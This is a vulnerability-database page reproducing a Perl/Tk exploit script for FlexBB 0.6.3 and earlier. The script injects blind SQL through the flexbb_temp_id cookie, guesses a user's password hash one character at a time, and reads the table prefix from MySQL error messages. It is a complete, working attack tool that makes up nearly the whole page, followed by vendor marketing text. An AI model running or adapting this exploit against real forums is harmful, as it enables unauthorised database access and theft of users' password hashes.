Lucene search
K

FlexBB <= 0.6.3 Cookies Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

FlexBB version 0.6.3 Cookies Remote SQL Injection Exploit using Tk and LWP::UserAgent to get hashed password and test forum vulnerability. Magic_quotes_gpc turned off and mysql version > 4.1 required

Code

                                                #!/usr/bin/perl

	use Tk;
	use Tk::BrowseEntry;
	use Tk::DialogBox;
	use LWP::UserAgent;

	$mw = new MainWindow(title =&#62; &#34;UnderWHAT?!&#34; );

	$mw-&#62;geometry ( &#39;420x343&#39; ) ;
	$mw-&#62;resizable(0,0);

	$mw-&#62;Label(-text =&#62; &#39;&#39;, -font =&#62; &#39;{Verdana} 8&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$mw-&#62;Label(-text =&#62; &#39;FlexBB &#60;= 0.6.3 Cookies Sql Injection&#39;, -font =&#62; &#39;{Tahoma} 7 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$mw-&#62;Label(-text =&#62; &#39;it will take about half an hour to get hashed password&#39;, -font =&#62; &#39;{Tahoma} 7 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$mw-&#62;Label(-text =&#62; &#39;you need magic_quotes_gpc turned off and mysql version higher that 4.1&#39;, -font =&#62; &#39;{Tahoma} 7 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$mw-&#62;Label(-text =&#62; &#39;&#39;, -font =&#62; &#39;{Tahoma} 7 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();


	$fleft  = $mw-&#62;Frame()-&#62;pack ( -side =&#62; &#39;left&#39;, -anchor =&#62; &#39;ne&#39;) ;
	$fright = $mw-&#62;Frame()-&#62;pack ( -side =&#62; &#39;left&#39;, -anchor =&#62; &#39;nw&#39;) ;

	$url      = &#39;http://test2.ru/flexbb v0.6.3 beta/&#39;;
	$user_id  = &#39;1&#39;;
	$prefix   = &#39;flexbb_&#39;;
	$table    = &#39;users&#39;;
	$column   = &#39;user_password&#39;;
	$report   = &#39;&#39;;
	$group    = 1;
	$curr_user = 0;
	


	$fleft-&#62;Label ( -text =&#62; &#39;Path to forum index: &#39;, -font =&#62; &#39;{Verdana} 8 bold&#39;) -&#62;pack ( -side =&#62; &#34;top&#34; , -anchor =&#62; &#39;e&#39; ) ;
	$fright-&#62;Entry ( -relief =&#62; &#34;groove&#34;, -width =&#62; 35, -font =&#62; &#39;{Verdana} 8&#39;, -textvariable =&#62; \$url) -&#62;pack ( -side =&#62; &#34;top&#34; , -anchor =&#62; &#39;w&#39; ) ;

	$fleft-&#62;Label ( -text =&#62; &#39;User ID: &#39;, -font =&#62; &#39;{Verdana} 8 bold&#39; ) -&#62;pack ( -side =&#62; &#34;top&#34; , -anchor =&#62; &#39;e&#39; ) ;
	$fright-&#62;Entry ( -relief =&#62; &#34;groove&#34;, -width =&#62; 35, -font =&#62; &#39;{Verdana} 8&#39;, -textvariable =&#62; \$user_id) -&#62;pack ( -side =&#62; &#34;top&#34; , -anchor =&#62; &#39;w&#39; ) ;

	$fleft-&#62;Label ( -text =&#62; &#39;Database tables prefix: &#39;, -font =&#62; &#39;{Verdana} 8 bold&#39;) -&#62;pack ( -side =&#62; &#34;top&#34; , -anchor =&#62; &#39;e&#39; ) ;
	$fright-&#62;Entry ( -relief =&#62; &#34;groove&#34;, -width =&#62; 35, -font =&#62; &#39;{Verdana} 8&#39;, -textvariable =&#62; \$prefix) -&#62;pack ( -side =&#62; &#34;top&#34; , -anchor =&#62; &#39;w&#39; ) ;

	$fleft-&#62;Label ( -text =&#62; &#39;Returned hash: &#39;, -font =&#62; &#39;{Verdana} 8 bold&#39;) -&#62;pack ( -side =&#62; &#34;top&#34; , -anchor =&#62; &#39;e&#39; ) ;
	$fright-&#62;Entry ( -relief =&#62; &#34;groove&#34;, -width =&#62; 35, -font =&#62; &#39;{Verdana} 8&#39;, -textvariable =&#62; \$report) -&#62;pack ( -side =&#62; &#34;top&#34; , -anchor =&#62; &#39;w&#39; ) ;

	$fright-&#62;Label( -text =&#62; &#39; &#39;)-&#62;pack();

	$fright-&#62;Button(-text    =&#62; &#39;Test forum vulnerability&#39;,
	                -relief =&#62; &#34;groove&#34;,
	                -width =&#62; &#39;30&#39;,
	                -font =&#62; &#39;{Verdana} 8 bold&#39;,
	                -activeforeground =&#62; &#39;red&#39;,
	                -command =&#62; \&test_vuln
	               )-&#62;pack();

	$fright-&#62;Button(-text    =&#62; &#39;Get database tables prefix&#39;,
	                -relief =&#62; &#34;groove&#34;,
	                -width =&#62; &#39;30&#39;,
	                -font =&#62; &#39;{Verdana} 8 bold&#39;,
	                -activeforeground =&#62; &#39;red&#39;,
	                -command =&#62; \&get_prefix
	               )-&#62;pack();
	
	$fright-&#62;Button(-text    =&#62; &#39;Get hash from database&#39;,
	                -relief =&#62; &#34;groove&#34;,
	                -width =&#62; &#39;30&#39;,
	                -font =&#62; &#39;{Verdana} 8 bold&#39;,
	                -activeforeground =&#62; &#39;red&#39;,
	                -command =&#62; \&get_hash
	               )-&#62;pack();
				   
				   
	$mw   -&#62;Label(-text =&#62; &#39;&#39;, -font =&#62; &#39;{Verdana} 7 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$fleft-&#62;Label(-text =&#62; &#39;!&#39;, -font =&#62; &#39;{Webdings} 22&#39;)-&#62;pack();
	$fleft-&#62;Label(-text =&#62; &#39;FlexBB 0.6.3&#39;, -font =&#62; &#39;{Verdana} 7 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$fleft-&#62;Label(-text =&#62; &#39;cookie sql injection &#39;, -font =&#62; &#39;{Verdana} 7 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$fleft-&#62;Label(-text =&#62; &#39;mysql char bruteforcing &#39;, -font =&#62; &#39;{Verdana} 7 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$fleft-&#62;Label(-text =&#62; &#39;bug in template function &#39;, -font =&#62; &#39;{Verdana} 7 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$fleft-&#62;Label(-text =&#62; &#39;by gemaglabin and Elekt  &#39;, -font =&#62; &#39;{Verdana} 7 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$fleft-&#62;Label(-text =&#62; &#39;( mafia of antichat.ru ) &#39;, -font =&#62; &#39;{Verdana} 7 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$fleft-&#62;Label(-text =&#62; &#39; 2007.02.04 ( fixed ) &#39;, -font =&#62; &#39;{Verdana} 7 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$fright-&#62;Label(-text =&#62; &#39;&#39;, -font =&#62; &#39;{Verdana} 3 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack();
	$print=$fright-&#62;Text(-width=&#62;35,-height=&#62;5,-wrap=&#62;&#34;word&#34;)-&#62;pack(-side=&#62;&#34;top&#34;,-anchor=&#62;&#34;s&#34;);
	
	MainLoop();
	
	sub get_hash()
	{
		srand();
		$xpl = LWP::UserAgent-&#62;new( ) or die;
		$InfoWindow=$mw-&#62;DialogBox(-title   =&#62; &#39;get hash from database&#39;, -buttons =&#62; [&#34;OK&#34;]);
		$i = 1;
		$b = 0;
		$report = &#39;&#39;;
		my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
		$print-&#62;insert(&#39;end&#39;,&#34;- Start [$hour:$min:$sec]\n&#34;);
		my @brutearray=qw(48 49 50 51 52 53 54 55 56 57 58 97 98 99 100 101 102);
		while (length($report)&#60;32)
		{
			$num = $brutearray[$b];
			$ret = get_pchar();
			if($ret &#62; 0)
			{
				$print-&#62;insert(&#39;end&#39;,&#34;- char [$num] = &#34;.chr($num).&#34;\n&#34;);
				$report .= chr($num);
				$b = 0;
				$i = $i +1;
				$mw-&#62;update(); 
				break;
			}
			else
			{
				$b = $b +1;
			}
		}
		my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
		$print-&#62;insert(&#39;end&#39;,&#34;- Finish [$hour:$min:$sec]&#34;);
	}
		
	sub get_pchar()
	{
		$res = $xpl-&#62;get($url,&#39;Cookie&#39;=&#62;&#34;flexbb_temp_id=1&#39; and 1=if(ascii(substring((select password from &#34;.$prefix.&#34;users where id=$user_id),$i,1))=$num,1,(select 1 union select 2))/*&#34;);
		if($res-&#62;as_string =~ /more than/i) { return 0;}
		else {return 1;}
	}
		
	
	 
	sub test_vuln()
	{
		$xpl = LWP::UserAgent-&#62;new( ) or die;
		$res = $xpl-&#62;get($url,&#39;Cookie&#39;=&#62;&#34;flexbb_temp_id=&#39;&#34;);
		if($res-&#62;is_success) 
		{
			$rep = &#39;&#39;;
			if($res-&#62;as_string =~ /MySQL Query/i) 
			{ 
				$print-&#62;insert(&#39;end&#39;,&#34;- FORUM VULNERABLE\n&#34;);
			}
			else { $print-&#62;insert(&#39;end&#39;,&#34;- FORUM UNVULNERABLE\n&#34;);} 
		}
	}

	sub get_prefix()
	{
		$InfoWindow=$mw-&#62;DialogBox(-title   =&#62; &#39;get database tables prefix&#39;, -buttons =&#62; [&#34;OK&#34;]);
		$InfoWindow-&#62;add(&#39;Label&#39;, -text =&#62; &#39;&#39;, -font =&#62; &#39;{Verdana} 8&#39;)-&#62;pack;
		$InfoWindow-&#62;add(&#39;Label&#39;, -text =&#62; $url, -font =&#62; &#39;{Verdana} 8&#39;)-&#62;pack;
		$InfoWindow-&#62;add(&#39;Label&#39;, -text =&#62; &#39;&#39;, -font =&#62; &#39;{Verdana} 8&#39;)-&#62;pack;
		$xpl = LWP::UserAgent-&#62;new( ) or die;
		$res = $xpl-&#62;get($url,&#39;Cookie&#39;=&#62;&#34;flexbb_temp_id=&#39;&#34;);
		if($res-&#62;is_success) 
		{
			$rep = &#39;&#39;;
			if($res-&#62;as_string =~ /FROM `(.*)templates/) { $prefix = $1; $InfoWindow-&#62;add(&#39;Label&#39;, -text =&#62; &#39;Prefix: &#39;.$prefix, -font =&#62; &#39;{Verdana} 8 bold&#39;)-&#62;pack; }
			else { $InfoWindow-&#62;add(&#39;Label&#39;, -text =&#62; &#39;Can\&#39;t get prefix&#39;, -font =&#62; &#39;{Verdana} 8 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack; } 
		}
		else
		{
			$InfoWindow-&#62;add(&#39;Label&#39;, -text =&#62; &#39;Error!&#39;, -font =&#62; &#39;{Verdana} 8 bold&#39;,-foreground=&#62;&#39;red&#39;)-&#62;pack;
			$InfoWindow-&#62;add(&#39;Label&#39;, -text =&#62; $res-&#62;status_line, -font =&#62; &#39;{Verdana} 8&#39;)-&#62;pack;
		} 
		$InfoWindow-&#62;Show();
		$InfoWindow-&#62;destroy;   
	}

# milw0rm.com [2008-01-07]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation